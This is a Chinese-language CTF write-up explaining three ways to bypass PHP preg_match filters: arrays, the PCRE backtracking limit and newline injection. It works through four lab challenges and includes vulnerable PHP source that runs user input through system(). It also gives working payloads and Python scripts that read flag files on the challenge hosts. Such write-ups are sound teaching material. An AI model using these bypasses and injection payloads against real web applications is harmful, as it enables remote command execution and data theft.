【Web】preg_match绕过相关例题wp

目录

[①FBCTF 2019rceservice](#①[FBCTF 2019]rceservice)

ctfshowweb130

ctfshowweb131

[④NISACTF 2022middlerce](#④[NISACTF 2022]middlerce)


简单回顾一下基础

参考文章

p牛神文

preg_match绕过总的来讲就三块可利用

数组绕过、PCRE回溯次数限制、换行符

FBCTF 2019rceservice

先贴出附件给的源码

复制代码
<html>
  <body>
    <h1>Web Adminstration Interface</h1>

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

    <form>
      Enter command as JSON:
      <input name="cmd" />
    </form>
  </body>
</html>

先进行一个命令的输

复制代码
{"cmd":"ls"}

这里用%0a绕过preg_match

复制代码
 {%0a"cmd":"ls /home/rceservice"%0a}

因为putenv('PATH=/home/rceservice/jail');修改了环境变量,所以只能使用绝对路径使用cat命令,cat命令在/bin文件夹下

系统命令需要有特定的环境变量的也就是路径,系统找不到该路径下的exe文件无法执行系统命令,因此这个地方查阅资料后发现只能调用绝对路径下的命令,cat命令就在/bin/目录下面

复制代码
{%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}

或者用PCRE回溯次数限制

复制代码
import requests

url = "http://node4.anna.nssctf.cn:28428/"
data = {
    'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","r1":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text #使用post方法请求,get方法会因为请求头过大而报错
print(r)

ctfshowweb130

preg_match():其中的'.'代表着匹配前面的单个字符,'+'代表匹配一次或者是多次,'+?'代表重复一次或者多次,尽可能的少重复;(大概就是匹配到*ctfshow,*代表任意字符,就会返回true)

stripos()函数:不区分大小写,返回子串在字符串中第一次出现的位置,位置是从0开始的;没有查找到,返回FALSE,stripos函数对于传递数组情况下,返回值为NULL,NULL!=FALSE

payload1:

复制代码
f[]=1

payload2:

复制代码
import requests

url = 'http://aec6932e-6362-4305-a31f-d8e5bcf75925.challenge.ctf.show/'
data = {

    'f': 'very' * 250000 + 'ctfshow'
}
r = requests.post(url=url, data=data).text
print(r)

ctfshowweb131

这里和上题不同的是对$f先进行了一个String强制类型转换

具体见此文

意思就是不能用数组绕过了

所以用用PCRE回溯次数限制

payload:

复制代码
import requests

url = 'http://c061faf3-dfef-42c6-8dd4-f223a635b59c.challenge.ctf.show/'
data = {
    'f': 'very' * 250000 + '36Dctfshow'
}

r = requests.post(url=url, data=data).text
print(r)

NISACTF 2022middlerce

(和题①不能说一模一样只能说是如出一辙 )

payload:

复制代码
import requests
url = "http://node4.anna.nssctf.cn:28848/"
# 直接构造json串
data='{"cmd":"?><?= `nl /f*`?>;","overflow":"'+"-"*1000000+'"}'
res = requests.post(url=url,data={"letter":data})
print(res.text)

(因为有一些waf,所以这样构造,这里不深入讨论)

相关推荐
程序员海军22 分钟前
AI 越来越强,为什么打工人反而越来越累、越来越内耗了?
前端·程序员·aigc
晴天1634 分钟前
VSCodium 项目介绍
前端·javascript·vscode
世岩清上39 分钟前
展厅数字内容同质化严重,怎样打造专属叙事风格?
大数据·前端·javascript·人工智能·html·音视频·展厅改造
晴天1641 分钟前
前端动画体系全解析:类型、实现方案与工程选型最佳实践
前端
David猪大卫1 小时前
【C++修炼】哈希表的实现
数据结构·c++·笔记·学习·算法·哈希算法·散列表
持敬chijing1 小时前
Web前后端开发-JavaScript 入门教程
开发语言·前端·javascript
李高钢1 小时前
Python Django 框架入门:从零搭建你的第一个 Web 应用
前端·python·django
PC2005_cloud1 小时前
Rust学习笔记:所有权、借用与生命周期——Rust的核心机制
前端·后端
leoZ2311 小时前
2026-09-10-静态扫描连错三次-用运行环境当裁判
前端·javascript·vue.js·人工智能·opencv·机器学习·数据挖掘
Maxkim1 小时前
我把一个"会自己查资料"的 AI 助手塞进了浏览器侧边栏,开源了
前端·javascript